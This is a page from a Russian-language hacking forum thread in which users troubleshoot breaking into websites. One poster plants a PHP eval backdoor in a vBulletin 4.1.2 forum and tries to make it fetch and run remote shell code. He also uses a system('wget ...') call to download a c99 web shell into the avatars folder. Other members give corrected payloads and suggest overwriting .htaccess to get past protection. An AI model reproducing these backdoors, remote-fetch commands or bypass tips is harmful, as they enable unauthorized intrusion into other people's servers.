HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2211 из 2438 « Первая < 12111711211121612201 2207 2208 2209 2210 2211 2212 2213 2214 2215 222122612311 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #22101  
Старый 19.02.2013, 17:33
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию
Цитата:
Сообщение от dynda2000  
dynda2000 said:
Здравствуйте подскажите можно ли тут что нибудь сделать? http://80.80.220.18/phpinfo.php
Да, посмотреть вывод команды phpinfo()
 
Ответить с цитированием

  #22102  
Старый 22.02.2013, 11:01
Fldr
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию
Трям.

Как можно с помощью js скрипта подгрузить шелл ?

тобишь я могу в корень сайта влепить код типа:

пхп коды не обрабатываются
 
Ответить с цитированием

  #22103  
Старый 22.02.2013, 11:20
Boombilka
Guest
Сообщений: n/a
Провел на форуме:
7702

Репутация: 0
По умолчанию
Всем привет, пытаюсь залится на vb 4.1.2. Добавил в faq_complete

if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));

Phpinfo(); выводится.

Пробую вот так:

Код:
Code:
faq.php?e=eval(file_get_contents('http://pastebin.com/raw.php?i=S7hg2xCy'));
И ничего. Что я не так делаю?
 
Ответить с цитированием

  #22104  
Старый 22.02.2013, 13:37
Boombilka
Guest
Сообщений: n/a
Провел на форуме:
7702

Репутация: 0
По умолчанию
Возник другой вопрос.

Код:
Code:
system("wget -O customavatars/sss.php http://c99.gen.tr/c99.txt");
Делаю вот так, папка кастом аватарс доступна под запись. Сайт бесконечно грузит этот запрос. Отображаю файлы из каталога:

Код:
Code:
system("cd customavatars;ls -al");
Файл создается, но создается он странно:

Код:
Code:
-rw-r--r--   1 apache   apache          0 Feb 22 12:06 sss.php
и при попытке чтения вылетает Internal Server Error

Опять таки, что я делаю не так?
 
Ответить с цитированием

  #22105  
Старый 22.02.2013, 14:42
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию
Цитата:
Сообщение от Boombilka  
Boombilka said:
Всем привет, пытаюсь залится на vb 4.1.2. Добавил в faq_complete
if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));
Phpinfo(); выводится.
Пробую вот так:
Код:
Code:
faq.php?e=eval(file_get_contents('http://pastebin.com/raw.php?i=S7hg2xCy'));
И ничего. Что я не так делаю?
Правильно будет faq.php?e=eval(file_get_contents('http://www.tut_shell_code.txt));

При этом у шелла надо убрать вначале

Цитата:
Сообщение от None  
Файл создается, но создается он странно:
Код:
-rw-r--r-- 1 apache apache 0 Feb 22 12:06 sss.php
и при попытке чтения вылетает Internal Server Error
Опять таки, что я делаю не так?
Очевидно, что отсутсвуют права на выполнение скрипта. Ещё может быть защита посредством .htaccess
 
Ответить с цитированием

  #22106  
Старый 22.02.2013, 14:45
Boombilka
Guest
Сообщений: n/a
Провел на форуме:
7702

Репутация: 0
По умолчанию
Цитата:
Сообщение от BigBear  
BigBear said:
Правильно будет faq.php?e=eval(file_get_contents('http://www.tut_shell_code.txt));
При этом у шелла надо убрать вначале
Очевидно, что отсутсвуют права на выполнение скрипта. Ещё может быть защита посредством .htaccess
Я убирал , лил на другой хост(где прямой линк был, с .txt), но была опять бесконечная загрузка. Скорее и вправду, .htaccess мешает(он есть в корне форума), мб подскажешь, как можно обойти эту фигню?
 
Ответить с цитированием

  #22107  
Старый 22.02.2013, 14:57
Fldr
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию
Цитата:
Сообщение от Boombilka  
Boombilka said:
Я убирал , лил на другой хост(где прямой линк был, с .txt), но была опять бесконечная загрузка. Скорее и вправду, .htaccess мешает(он есть в корне форума), мб подскажешь, как можно обойти эту фигню?
просто загрузи пустой .htaccess
 
Ответить с цитированием

  #22108  
Старый 22.02.2013, 15:03
Boombilka
Guest
Сообщений: n/a
Провел на форуме:
7702

Репутация: 0
По умолчанию
Цитата:
Сообщение от Fldr  
Fldr said:
просто загрузи пустой .htaccess
через что? У меня же нету прав на загрузку, разве нет?
 
Ответить с цитированием

  #22109  
Старый 22.02.2013, 15:06
Fldr
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию
Цитата:
Сообщение от None  
Файл создается, но создается он странно:
если файл создается , так прав на папке хватает
 
Ответить с цитированием

  #22110  
Старый 22.02.2013, 15:16
Boombilka
Guest
Сообщений: n/a
Провел на форуме:
7702

Репутация: 0
По умолчанию
Цитата:
Сообщение от Fldr  
Fldr said:
если файл создается , так прав на папке хватает
да это понятно, но файл то нулевого размера. И .htaccess не могу заменить
 
Ответить с цитированием
Ответ
Страница 2211 из 2438 « Первая < 12111711211121612201 2207 2208 2209 2210 2211 2212 2213 2214 2215 222122612311 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ